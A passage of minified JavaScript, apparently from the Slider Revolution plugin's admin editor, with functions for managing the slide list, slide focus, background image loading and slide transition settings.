class="material-icons">settings</i></div></div>'+t+"</div></li>"),l=n.find(".sle_thumb");o({id:e.id,target:l}),a.static.isstatic?n.insertBefore(RVS.C.slideList):""!==a.child.parentId&&void 0!==a.child.parentId?jQuery("#slide_list_element_childwrap_"+a.child.parentId).append(n):RVS.C.slideList.append(n),!0!==e.ignoreSort&&(RVS.F.makeSlideListSortable(),RVS.F.makeSlideListScroll())},RVS.F.makeSlideListScroll=function(){void 0===RVS.S.slidesListSB?RVS.S.slidesListSB=RVS.C.slideList.RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}):RVS.C.slideList.RSScroll("update")},RVS.F.addRemoveSlideWithBackupAfterSlideId=function(e){var t=void 0!==e.urls?e.urls.length:1,i=jQuery.extend(!0,{},e.slideObj);i.slide.child.parentId=void 0!==e.parentId?e.parentId:"",RVS.F.ajaxRequest("create_slide",{slider_id:RVS.ENV.sliderID,amount:t},function(t){if(t.success){for(var a in t.slide_id)t.slide_id.hasOwnProperty(a)&&(e.slideId=t.slide_id[a],e.slideObj=jQuery.extend(!0,{},i),e.slideObj.id=e.slideObj.slide.uid=t.slide_id[a],void 0!==e.urls&&e.urls.length>0&&(e.slideObj.slide.bg.type="image",e.slideObj.slide.bg.image=e.urls[a].url.split(" ").join("%20"),e.slideObj.slide.bg.imageSourceType="full",RVS.F.slideinWork(t.slide_id[a])),RVS.F.addRemoveSlideWithBackup(e),void 0===e.parentID&&void 0===e.fromSlideId||(RVS.F.convertIDStoTxt(),RVS.F.saveSlides({index:0,slides:RVS.SLIDER.slideIDs,trigger:RVS.F.saveSliderSettings,works:RVS.SLIDER.inWork,force:!0})),void 0!==e.fromSlideId&&RVS.F.duplicateSkinColors({type:"slide",slideFrom:e.fromSlideId,slideTo:e.slideId}),RVS.DOC.trigger("newSlideCreated",[t.slide_id[a]]));void 0!==e.endOfMain&&e.endOfMain()}})},RVS.F.addRemoveSlideWithBackup=function(e,t){RVS.F.openBackupGroup({id:e.id,txt:e.step,icon:e.icon,lastkey:"#"+e.slideId}),RVS.SLIDER[e.slideId]=e.slideObj;var i,a,r,s=RVS.SLIDER.slideIDs.slice(),o=!1;if("deleteslide"===e.id){var n,l;for(var d in RVS.SLIDER.slideIDs)l=""+RVS.SLIDER.slideIDs[d],void 0!==RVS.SLIDER[l]&&void 0!==RVS.SLIDER[l].slide&&void 0!==RVS.SLIDER[l].slide.child&&""+RVS.SLIDER[l].slide.child.parentId==""+e.slideId&&(r=(n=RVS.F._inArray(l,s))-1>=0?n-1:n,""+l==""+RVS.S.slideId&&(o=!0),s.splice(n,1),RVS.SLIDER[l]={});r=(n=RVS.F._inArray(e.slideId,s))-1>=0?n-1:n,RVS.S.slideId==e.slideId&&(o=!0),s.splice(n,1),RVS.F.updateSliderObj({path:"slideIDs",val:s}),i=jQuery("#slide_list_element_"+e.slideId).removeClass("selected").detach()}else s.push(e.slideId),RVS.F.updateSliderObj({path:"slideIDs",val:s}),RVS.F.addToSlideList({id:e.slideId}),a={mode:"slidelayout",set:!0,slide:e.slideId};RVS.F.backup({path:e.slideId,cache:i,beforeSelected:e.beforeSelected,icon:e.icon,txt:e.step,lastkey:"#"+e.slideId,force:!0,val:jQuery.extend(!0,{},RVS.SLIDER[e.slideId]),old:e.slideObjOld,backupType:"slide",bckpGrType:e.id}),0==jQuery(".slide_list_element.sortable_slide_list_element").length&&(a={mode:"sliderlayout",set:!0}),void 0!==a?RVS.F.mainMode(a):o&&RVS.F.setSlideFocus({slideid:r>=RVS.SLIDER.slideIDs.length?RVS.SLIDER.slideIDs[0]:RVS.SLIDER.slideIDs[r]}),RVS.F.closeBackupGroup({id:e.id}),void 0!==e.after&&e.after()},RVS.F.setSlideFocus=function(e){if(RVS.F.setEditorUrl(e.slideid),RVS.F.slideinWork(e.slideid),delete RVS.S.bgobj,RVS.DOC.trigger("beforeSlideChange"),jQuery(".slide_list_element.selected, .slide_list_child_element.selected").removeClass("selected"),jQuery("#slide_list_element_"+e.slideid).addClass("selected"),jQuery(".slide_li").hide(),RVS.SLIDER[e.slideid].slide.static.isstatic?(window.lastSlideSettingForm="static",RVS.F.updateStaticStartEndList(),RVS.C.vW.classList.add("staticlayersview"),RVS.F.openSettings({forms:["*slidelayout**mode__slidestyle*#form_slidestatic"],uncollapse:!0})):(RVS.C.vW.classList.remove("staticlayersview"),"static"===window.lastSlideSettingForm&&(window.lastSlideSettingForm=jQuery(".slide_submodule_trigger.selected").data("forms"),RVS.F.openSettings({forms:window.lastSlideSettingForm,uncollapse:!0}))),RVS.DOC.trigger("slideAmountUpdated"),RVS.S.slideId=e.slideid,RVS.DOC.trigger("showLastEditedSlideStatic"),RVS.DOC.trigger("slideFocusChanged"),0===jQuery("#slide_"+e.slideid).length){var t=jQuery("#slide_li_template").clone();t.attr("id","slide_"+e.slideid),RVS.SLIDER[e.slideid].slide.static.isstatic&&t.addClass("static_slide_li"),t.find(".crumb_title").html('<i class="material-icons">wallpaper</i>'+RVS.SLIDER[e.slideid].slide.title),RVS.S.ulInner.append(t),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId]}RVS.S.lastVisibleSlideId!==e.slideid&&RVS.DOC.trigger("slideChanged"),RVS.S.lastVisibleSlideId=e.slideid,RVS.C.slide=jQuery("#slide_"+e.slideid),void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]||(RVS.SBGS=void 0===RVS.SBGS?{}:RVS.SBGS,RVS.SBGS[RVS.S.slideId]={wrap:RVS.F.cE({t:"rs-sbg-px"}),n:{sbg:RVS.F.cE({t:"rs-sbg-wrap",cN:"in"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,loadobj:{}},c:{sbg:RVS.F.cE({t:"rs-sbg-wrap"}),canvas:RVS.F.cE({t:"canvas"}),bgvid:!1,previous:!0,loadobj:{}}},RVS.SBGS[RVS.S.slideId].n.sbg.appendChild(RVS.SBGS[RVS.S.slideId].n.canvas),RVS.SBGS[RVS.S.slideId].c.sbg.appendChild(RVS.SBGS[RVS.S.slideId].c.canvas),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].n.sbg),RVS.SBGS[RVS.S.slideId].wrap.appendChild(RVS.SBGS[RVS.S.slideId].c.sbg),RVS.C.slide.prepend(RVS.SBGS[RVS.S.slideId].wrap),RVS.SBGS[RVS.S.slideId].c.ctx=RVS.SBGS[RVS.S.slideId].c.canvas.getContext("2d"),RVS.SBGS[RVS.S.slideId].n.ctx=RVS.SBGS[RVS.S.slideId].n.canvas.getContext("2d")),RVS.C.layergrid=RVS.C.slide.find(".layer_grid"),RVS.DOC.trigger("sliderProgressUpdate"),window.contentDeltaFirstRun||RVS.F.updateContentDeltas(),RVS.C.rZone.top=RVS.C.layergrid.find(".row_wrapper_top"),RVS.C.rZone.middle=RVS.C.layergrid.find(".row_wrapper_middle"),RVS.C.rZone.bottom=RVS.C.layergrid.find(".row_wrapper_bottom"),RVS.C.layergrid.attr("id","layer_grid_"+e.slideid),RVS.H={},RVS.C.slide.show(),RVS.DOC.trigger("updatesliderlayout","setSlideFocus-139"),RVS.F.setRulers(),RVS.F.updateFields(e.ignoreUpdateFields),void 0!==RVS.S.slideBGCallFirsttime&&RVS.F.redrawSlideBG(),RVS.S.slideInputFieldsInitialised&&RVS.F.udpateSelectedSlideAnim(!0),RVS.F.updateParallaxLevelTexts(),RVS.F.setRulers();var i=RVS.selLayers.length;RVS.F.buildLayerLists({ignoreSelectLayers:e.ignoreUpdateFields,ignoreDrawLayers:!0}),RVS.F.updateAllLayerFrames(),RVS.F.updateSelectedHtmlLayers(!0,!0),void 0!==RVS.S.slideBGCallFirsttime&&RVS.selLayers.length!=i&&RVS.F.selectedLayersVisualUpdate(),RVS.S.slideBGCallFirsttime=!0,RVS.DOC.trigger("updateScrollBars"),RVS.DOC.trigger("updateAllInheritedSize"),RVS.DOC.trigger("slideFocusFunctionEnd"),void 0!==RVS.S.firstPreparation&&1!==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open"),RVS.DOC.trigger("updateSlideLoopRange"),RVS.DOC.trigger("updateFixedScrollRange"),RVS.S.lastSaved=void 0===RVS.S.lastSaved?{}:RVS.S.lastSaved,setTimeout(function(){void 0===RVS.S.lastSaved[RVS.S.slideId]&&!0!==RVS.S.zIndexAtStartChanged&&(RVS.S.lastSaved[RVS.S.slideId]={params:JSON.stringify(RVS.F.simplifySlide(RVS.SLIDER[RVS.S.slideId].slide)),layers:JSON.stringify(RVS.F.simplifyAllLayer(RVS.SLIDER[RVS.S.slideId].layers))},delete RVS.S.zIndexAtStartChanged)},500)},RVS.F.getAllSlidesBgDimension=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&(RVS.F.loadBGImages(RVS.SLIDER.slideIDs[e]),RVS.F.slideinWork(RVS.SLIDER.slideIDs[e]))},RVS.F.loadBGImages=function(e,t){if(RVS.allimages=void 0===RVS.allimages?{src:[],dim:[],img:[]}:RVS.allimages,e=void 0===e?RVS.S.slideId:e,jQuery.inArray(RVS.SLIDER[e].slide.bg.type,["image","youtube","html5","vimeo","external"])>=0||"c"===t&&void 0!==e&&void 0!==RVS.SBGS&&void 0!==RVS.SBGS[RVS.S.slideId]&&void 0!==RVS.SBGS[RVS.S.slideId][t].src){var i="c"===t?RVS.SBGS[RVS.S.slideId][t].src:RVS.SBGS[RVS.S.slideId].n.src;if("external"===RVS.SLIDER[e].slide.bg.type&&""===i&&(i=RVS.ENV.plugin_url+"admin/assets/images/transparent.png"),void 0===i)return;i=i.split(" ").join("%20"),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj=void 0===RVS.SBGS[RVS.S.slideId][t].loadobj?{}:RVS.SBGS[RVS.S.slideId][t].loadobj);var a=jQuery.inArray(i,RVS.allimages.src);a>=0?void 0!==RVS.allimages.dim[a]&&("c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=RVS.allimages.dim[a].w,RVS.SLIDER[e].slide.bg.imageHeight=RVS.allimages.dim[a].h,RVS.SLIDER[e].slide.bg.imageRatio=RVS.allimages.dim[a].r),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=RVS.allimages.dim[a].w,RVS.SBGS[RVS.S.slideId][t].loadobj.height=RVS.allimages.dim[a].h,RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),RVS.DOC.trigger("device_area_dimension_update")):i!==RVS.S.lastLoadedBGImage&&(RVS.S.lastLoadedBGImage=i,a=RVS.allimages.src.length,RVS.allimages.img[a]=new Image,RVS.F.getImgWithCORS(RVS.allimages.img[a],i),void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loading"),RVS.allimages.src[a]=i,RVS.allimages.img[a].tpRequest=0,RVS.allimages.img[a].onload=function(){RVS.allimages.dim[a]={w:this.width,h:this.height,r:this.width/this.height},void 0!==t&&(RVS.SBGS[RVS.S.slideId][t].loadobj.img=RVS.allimages.img[a],RVS.SBGS[RVS.S.slideId][t].loadobj.src=RVS.allimages.src[a],RVS.SBGS[RVS.S.slideId][t].loadobj.width=this.width,RVS.SBGS[RVS.S.slideId][t].loadobj.height=this.height,RVS.SBGS[RVS.S.slideId][t].loadobj.progress="loaded"),"c"!==t&&(RVS.SLIDER[e].slide.bg.imageWidth=this.width,RVS.SLIDER[e].slide.bg.imageHeight=this.height,RVS.SLIDER[e].slide.bg.imageRatio=this.width/this.height),RVS.DOC.trigger("device_area_dimension_update"),1===this.tpRequest&&(console.info("%c"+RVS_LANG.CORSWARNING,"color:#f1c40f;"),console.info(this.src))},RVS.allimages.img[a].onerror=function(e,t,i){0===this.tpRequest&&this.crossOrigin&&(delete this.crossOrigin,this.removeAttribute("crossorigin"),this.tpRequest=1,this.src=this.src)},RVS.allimages.img[a].src=RVS.allimages.src[a])}},RVS.F.redrawSlideBG=function(e){void 0!==RVS.C.slide&&(clearTimeout(RVS.S.redrawSlideBGTimeOut),RVS.S.redrawSlideBGTimeOut=setTimeout(function(){var t,i=RVS.SLIDER[RVS.S.slideId].slide;if(void 0!==e&&e.liveColorChange&&void 0!==e.backgroundColor)t={bg:{color:e.backgroundColor,type:"solid"}};else for(var a in RVS.JHOOKS.redrawSlideBG)RVS.JHOOKS.redrawSlideBG.hasOwnProperty(a)&&(t=RVS.JHOOKS.redrawSlideBG[a](t));RVS.SBGS[RVS.S.slideId].n=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].n,RVS.F.getSlideBGObj({slideBGFrom:t})),RVS.SBGS[RVS.S.slideId].c=jQuery.extend(!0,RVS.SBGS[RVS.S.slideId].c,RVS.F.getSlideBGObj({type:"c",slideBGFrom:{bg:{color:"transparent",repeat:"repeat",position:"center center",fit:"50%",src:RVS.ENV.plugin_url+"admin/assets/images/light_pattern_2x.png"}}})),void 0!==RVS.SBGS[RVS.S.slideId].n.loadobj.img&&RVS.SBGS[RVS.S.slideId].n.loadobj.src===RVS.SBGS[RVS.S.slideId].n.src&&RVS.S.lastSlideBGSrc===RVS.SLIDER[RVS.S.slideId].slide.bg.type||RVS.F.loadBGImages(void 0,"n"),void 0===RVS.SBGS[RVS.S.slideId].c.loadobj.img&&RVS.F.loadBGImages(void 0,"c"),RVS.S.lastSlideBGSrc=RVS.SLIDER[RVS.S.slideId].slide.bg.type,y(),RVS.SBGS[RVS.S.slideId].wrap.className=i.bg.mediaFilter,RVS.SBGS[RVS.S.slideId].n.usebgColor&&"transparent"==RVS.SBGS[RVS.S.slideId].n.bgcolor?(RVS.F.resetSlideTL(),RVS.SBGS[RVS.S.slideId].n.ctx.clearRect(0,0,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.width,RVS.SBGS[RVS.S.slideId].n.ctx.canvas.height)):RVS.F.buildSlideAnimation(),RVS.F.slideAnimation({progress:1,type:"slide"});var r=document.getElementById("slider_overlay");r&&RVS.C.slide[0].querySelector("rs-sbg-wrap").appendChild(r),RVS.DOC.trigger("redrawSlideBGDone")},100))},RVS.F.updateSlideInputFields=function(){!0!==RVS.S.slideInputFieldsInitialised&&!0!==RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.udpateSelectedSlideAnim(!0),RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.slideInputFieldsInitialised=!0,RVS.F.slideInputFieldsInitialisedInfo=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slide_settings_collector, #do_title_slide"),path:RVS.S.slideId+".slide.",trigger:"init"}),jQuery("#s_bg_color").val(RVS.SLIDER[RVS.S.slideId].slide.bg.color).rsColorPicker("refresh"),jQuery("#slide_bg_type").trigger("change"),o(),!0===RVS.F.slideInputFieldsInitialisedInfo&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.F.slideInputFieldsInitialisedInfo=!1),RVS.DOC.trigger("slideInputFieldsUpdated")},5)},RVS.F.updateFields=function(e){!function(){var e=document.getElementById("slide_seo_linktoslide");if(null!==e){var t="";for(var i in t+='<option value="nothing">- Not Choosen -</option>',t+='<option value="next">- Next Slide  -</option>',t+='<option value="prev">- Previous Slide -</option>',t+='<option value="scroll_under">- Scroll Below Slider -</option>',RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(i)){var a=RVS.SLIDER.slideIDs[i],r=RVS.SLIDER[a].slide.title;t+='<option value="'+a+'">'+(r=void 0===r?"Slide":r)+" (ID:"+a+")</option>"}e.innerHTML=t}}(),RVS.F.updateSlideAnimationView(),!0!==e&&RVS.F.updateSlideInputFields(),RVS.F.updateSlideBasedNavigationStyle(),V(e),RVS.F.alternatingSlideAnims(),RVS.F.buildSlideFrames(),RVS.F.updateSlideFrames(),RVS.F.updateMaxTime({pos:!0,cont:!0}),void 0!==RVS.S.firstTimeGoToIdle&&RVS.F.goToIdle(),RVS.S.firstTimeGoToIdle=!0},RVS.F.getSlideBGObj=function(e){e.id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={bgcolor:"transparent",bgrepeat:t.bg.repeat,bgposition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,bgfit:"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");if("c"!==e.type)switch(t.bg.type){case"trans":i.usebgColor=!0;break;case"solid":var r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i.bgcolor=r:i.bgcolor=t.bg.color,i.type="solid",i.usebgColor=!0;break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.src=s,a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)),i.type="image",i.usebgColor=!1;break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.src=s,a.val(t.bg.image),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)),i.type="image",i.usebgColor=!1}else i.src=t.bg.src;return i},RVS.F.getSlideBGDrawObj=function(e){(e=void 0===e?{updateSip:!1}:e).id=void 0===e.id?RVS.S.slideId:e.id;var t=void 0===e.slideBGFrom?RVS.SLIDER[e.id].slide:e.slideBGFrom,i={backgroundImage:"",backgroundColor:"transparent",backgroundRepeat:t.bg.repeat,backgroundPosition:"percentage"===t.bg.position?parseInt(t.bg.positionX,0)+"% "+parseInt(t.bg.positionY,0)+"%":t.bg.position,"background-size":"percentage"===t.bg.fit?parseInt(t.bg.fitX,0)+"% "+parseInt(t.bg.fitY,0)+"%":t.bg.fit},a=jQuery("#slide_bg_image_path");switch(t.bg.type){case"solid":var r=window.RSColor.get(t.bg.color);r.indexOf("gradient")>=0?i={background:r}:i.backgroundColor=t.bg.color;break;case"trans":break;case"external":var s=t.bg.externalSrc.split(" ").join("%20");i.backgroundImage="url("+s+")",e.updateSip&&(a.val(t.bg.externalSrc),a.height(Math.max(25,8+t.bg.externalSrc.length/20*16)));break;case"html5":case"vimeo":case"youtube":case"image":s=t.bg.image.split(" ").join("%20");i.backgroundImage='url("'+s+'")',e.updateSip&&(a.val(t.bg.image),void 0!==t.bg.image?a.height(Math.max(25,8+t.bg.image.length/20*16)):void 0!==t.bg.image&&a.height(Math.max(25,8+t.bg.image.length/20*16)))}return i},RVS.F.slideMinLength=function(e){var t=e;e="default"===e||"Default"===e||0===e||"0ms"===e?parseInt(RVS.SLIDER.settings.def.delay,0):parseInt(e,0);var i=10*RVS.F.setSmallestSlideLength({left:e/10});return"Default"===t||0===t||"0ms"===t||"default"===t?"Default":i},RVS.F.getSlideLength=function(e){if(e=void 0===e?RVS.S.slideId:e,void 0===RVS.SLIDER[e])return 800;var t=RVS.SLIDER[e].slide.timeline.delay;return(t=null==(t=null==t||""==t||"default"===t||0==t||"Default"===t?RVS.SLIDER.settings.def.delay:t)||""==t||"default"===t||0==t||"Default"===t?8e3:parseInt(t,0))/10},RVS.F.getSlideAnimParams=function(e){var t=jQuery("#active_transitions_innerwrap li.selected").index();if(t=-1===t?1:t,void 0!==RVS.SLIDER[RVS.S.slideId].slide.timeline[e]){var i=RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t];i=0===t?"default"==i&&"duration"==e?RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i:"default"==i&&"duration"==e?void 0===RVS.SLIDER[RVS.S.slideId].slide.timeline[e][t]?RVS.SLIDER.settings.def.transitionDuration:RVS.F.getSliderTransitionParameters(RVS.SLIDER[RVS.S.slideId].slide.timeline.transition[t]).TR[10]:i}else i="default";return i},RVS.F.buildSlideAnimation=function(e){"image"===RVS.SBGS[RVS.S.slideId].n.type&&"loaded"!==RVS.SBGS[RVS.S.slideId].n.loadobj.progress||"loaded"!==RVS.SBGS[RVS.S.slideId].c.loadobj.progress||RVS._R.animateSlide(void 0,RVS._R.convertSlideAnimVals(void 0===e?RVS.SLIDER[RVS.S.slideId].slide.slideChange:e))},RVS.F.slideAnimation=function(e){void 0!==RVS.TL[RVS.S.slideId][e.type]&&void 0!==e.progress&&(RVS.TL[RVS.S.slideId][e.type].progress(.9999),RVS.TL[RVS.S.slideId][e.type].progress(e.progress))},RVS.F.setSlideAnimPresetToCustom=function(){RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset="custom",RVS.F.udpateSelectedSlideAnim()},RVS.F.alternatingSlideAnims=function(){RVS.C.altslcon=void 0===RVS.C.altslcon?jQuery("#sanimation_sfalternates"):RVS.C.altslcon;var e="",t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.alt;if(void 0!==t&&Array.isArray(t)&&t.length>0)for(var i in t)e+=r(i);RVS.C.altslcon[0].innerHTML=e,RVS.C.altslcon.find(".tos2.slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this)})},RVS.F.updateAlternateSlideAnims=function(){RVS.F.alternatingSlideAnims(),RVS.C.altslcon.find(".tos2.slideAnimSelect").ddTP({placeholder:"Enter or Select"}),RVS.F.updateEasyInputs({container:RVS.C.altslcon,path:RVS.S.slideId+".slide.",trigger:"init"})},RVS.F.clearSBGSAttrs=function(e,t){delete e.help_canvas,delete e.help_ctx,void 0!==e.cube&&(document.body.contains(e.cube.c)&&e.cube.c.parentNode.removeChild(e.cube.c),delete e.cube),tpGS.gsap.set([e.canvas,e.sbg],{x:0,y:0,z:0,rotateX:0,rotateY:0,rotateZ:0}),!0!==t&&(delete e.shadowCTX,delete e.shadowCanvas,delete e.SLOT,delete e.cDIMS,delete e.mDIM,delete e.usebgColor,delete e.usepattern,RVS.F.redrawSlideBG())},RVS.F.showExampleOrSelectedSlideAnim=function(){void 0!==RVS.S.demoSlideAnim?(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c,!0),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n,!0),RVS.TL[RVS.S.slideId].slideRepeat=!0,RVS.F.buildSlideAnimation(m(void 0!==RVS.S.demoSlideAnim.preset?{preset:RVS.S.demoSlideAnim.preset}:{key:RVS.S.demoSlideAnim.key})),RVS.TL[RVS.S.slideId].slide.progress(0).play()):(RVS.TL[RVS.S.slideId].slide.pause(),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].c),RVS.F.clearSBGSAttrs(RVS.SBGS[RVS.S.slideId].n))},RVS.F.showHideLayerEditor=function(e){var t;RVS.eMode=void 0===RVS.eMode?{top:"",menu:""}:RVS.eMode,"slidecontent"===e.mode?(RVS.C.vW.classList.add("mode__slidecontent"),RVS.C.vW.classList.remove("mode__slidestyle"),RVS.eMode.top="layer",void 0!==(t=jQuery(".layer_submodule_trigger.selected"))&&!1!==e.openSettings&&RVS.F.openSettings({forms:t.data("forms"),uncollapse:t[0].dataset.collapse})):(RVS.C.vW.classList.remove("mode__slidecontent"),RVS.C.vW.classList.add("mode__slidestyle"),RVS.eMode.top="slide",t=jQuery(".slide_submodule_trigger.selected")),void 0!==t&&t.length>=1&&void 0!==t.data("forms")&&(RVS.eMode.menu=t.data("forms")[0])},RVS.F.makeSlideListSortable=function(){RVS.C.slideList;RVS.C.slideList.hasClass("ui-sortable")&&RVS.C.slideList.sortable("destroy"),n(),RVS.C.slideList.sortable({item:".sortable_slide_list_element",cancel:"#theslidermodule, #newslide, .do_not_sort_slide_list_element",start:function(e,t){RVS.C.vW.classList.add("slides_in_sort"),RVS.C.slideList.sortable("refreshPositions")},stop:function(e,t){RVS.C.vW.classList.remove("slides_in_sort");var i=Array.prototype.slice.call(document.getElementById("slidelist").getElementsByClassName("sortable_slide_list_element")),a=[],r="";for(var s in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(s)&&(""+RVS.SLIDER.slideIDs[s]).indexOf("static_")>=0&&(r=RVS.SLIDER.slideIDs[s]);for(var o in i)i.hasOwnProperty(o)&&a.push(i[o].dataset.ref);a.push(r),RVS.F.updateSliderObj({path:"slideIDs",val:a}),n()}})},RVS.F.updateSlideAnimationView=function(){var e,t;for(e in RVS.F.updateEasyInputs({container:jQuery("#active_transitions_settings"),path:RVS.S.slideId+".slide.",trigger:"init"}),void 0===RVS.C.sltran&&(RVS.C.sltran={},RVS.C.sltmenu={},RVS.C.sltaddon=void 0===RVS.C.sltaddon?{}:RVS.C.sltaddon,RVS.C.sltran.all_globals=jQuery("#sltrans_all_globals"),RVS.C.sltran.pause=jQuery("#sltrans_pause"),RVS.C.sltran.flow=jQuery("#sltrans_flow"),RVS.C.sltran.in_full_wrap=jQuery("#sltrans_in_full_wrap"),RVS.C.sltran.in_rowcol_wrap=jQuery("#sltrans_in_rowcol_wrap"),RVS.C.sltran.in_ease_wrap=jQuery("#sltrans_in_ease_wrap"),RVS.C.sltran.in_mamo_wrap=jQuery("#sltrans_in_mamo_wrap"),RVS.C.sltran.in_xy_wrap=jQuery("#sltrans_in_xy_wrap"),RVS.C.sltran.in_rzo_wrap=jQuery("#sltrans_in_rzo_wrap"),RVS.C.sltran.in_sxsy_wrap=jQuery("#sltrans_in_sxsy_wrap"),RVS.C.sltran.in_auto_input_wrap=jQuery("#sltrans_in_auto_input_wrap"),RVS.C.sltran.in_filter_input_wrap=jQuery("#sltrans_in_filter_input_wrap"),RVS.C.sltran.filters_wrap=jQuery("#sltrans_filters_wrap"),RVS.C.sltran.d3_wrap=jQuery("#sltrans_3d_wrap"),RVS.C.sltran.out_rowcol_wrap=jQuery("#sltrans_out_rowcol_wrap"),RVS.C.sltran.out_ease_wrap=jQuery("#sltrans_out_ease_wrap"),RVS.C.sltran.out_mask_wrap=jQuery("#sltrans_out_mask_wrap"),RVS.C.sltran.out_xy_wrap=jQuery("#sltrans_out_xy_wrap"),RVS.C.sltran.out_rzo_wrap=jQuery("#sltrans_out_rzo_wrap"),RVS.C.sltran.out_sxsy_wrap=jQuery("#sltrans_out_sxsy_wrap"),RVS.C.sltran.out_full_wrap=jQuery("#sltrans_out_full_wrap"),RVS.C.sltmenu.in=jQuery("#slidein_ts_wrapbrtn"),RVS.C.sltmenu.out=jQuery("#slideout_ts_wrapbrtn"),RVS.C.sltmenu.filter=jQuery("#slidefilter_ts_wrapbrtn"),RVS.C.sltmenu.ddd=jQuery("#slide3d_ts_wrapbrtn")),RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].slt_areas)for(t in RVS.C.sltaddon[e].slt_areas)RVS.C.sltaddon[e].slt_areas.hasOwnProperty(t)&&RVS.C.sltaddon[e].slt_areas[t].hide();for(e in RVS.C.sltaddon)if(RVS.C.sltaddon.hasOwnProperty(e)&&void 0!==RVS.C.sltaddon[e].menu)for(t in RVS.C.sltaddon[e].menu)RVS.C.sltaddon[e].menu.hasOwnProperty(t)&&RVS.C.sltaddon[e].menu[t][0].classList.add("disabled");switch(RVS.SLIDER[RVS.S.slideId].slide.slideChange.e){case"none":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].hide();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;case"basic":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&RVS.C.sltran[e].show();for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.remove("disabled");break;case"slidingoverlay":for(e in RVS.C.sltran)RVS.C.sltran.hasOwnProperty(e)&&(jQuery.inArray(e,["in_full_wrap","out_full_wrap","filters_wrap","pause","flow","d3_wrap"])>=0?RVS.C.sltran[e].hide():RVS.C.sltran[e].show());for(e in RVS.C.sltmenu)RVS.C.sltmenu.hasOwnProperty(e)&&RVS.C.sltmenu[e][0].classList.add("disabled");break;default:RVS.DOC.trigger("updateSlideAnimationViewDefault")}},RVS.F.udpateSelectedSlideAnim=function(e){RVS.S.calledSlideAnimListUpdate||(RVS.S.calledSlideAnimListUpdate=!0,requestAnimationFrame(function(){RVS.S.calledSlideAnimListUpdate=!1,RVS.S.ATI.find(".s_s_preset").removeClass("s_s_preset"),RVS.S.ATIR.find(".s_s_preset").removeClass("s_s_preset");var t=RVS.S.ATIR.find('.presets_listelement[data-key="'+RVS.SLIDER[RVS.S.slideId].slide.slideChange.preset+'"]')[0];if(null!=t){t.classList.add("s_s_preset");var i,a=document.getElementById(t.dataset.grpid),r=document.getElementById(t.dataset.grpid+"_"+t.dataset.grp);null!=a&&(a.classList.add("s_s_preset"),e&&-1==a.className.indexOf("open")&&null!=(i=a.getElementsByClassName("presets_liste_head"))&&i.length>0&&i[0].click()),null!=r&&(r.classList.add("s_s_preset"),e&&-1==r.className.indexOf("open")&&null!=(i=r.getElementsByClassName("presetssgroup_head"))&&i.length>0&&i[0].click())}}))},RVS.F.buildKenBurn=function(){V()},RVS.F.addSlideObj=function(e,t){void 0===e||jQuery.isEmptyObject(e);(e=void 0===e?{}:e)&&e.bg&&-1===["cover","contain","percentage","auto"].indexOf(e.bg.fit)&&(e.bg.fit="cover");var i={};return 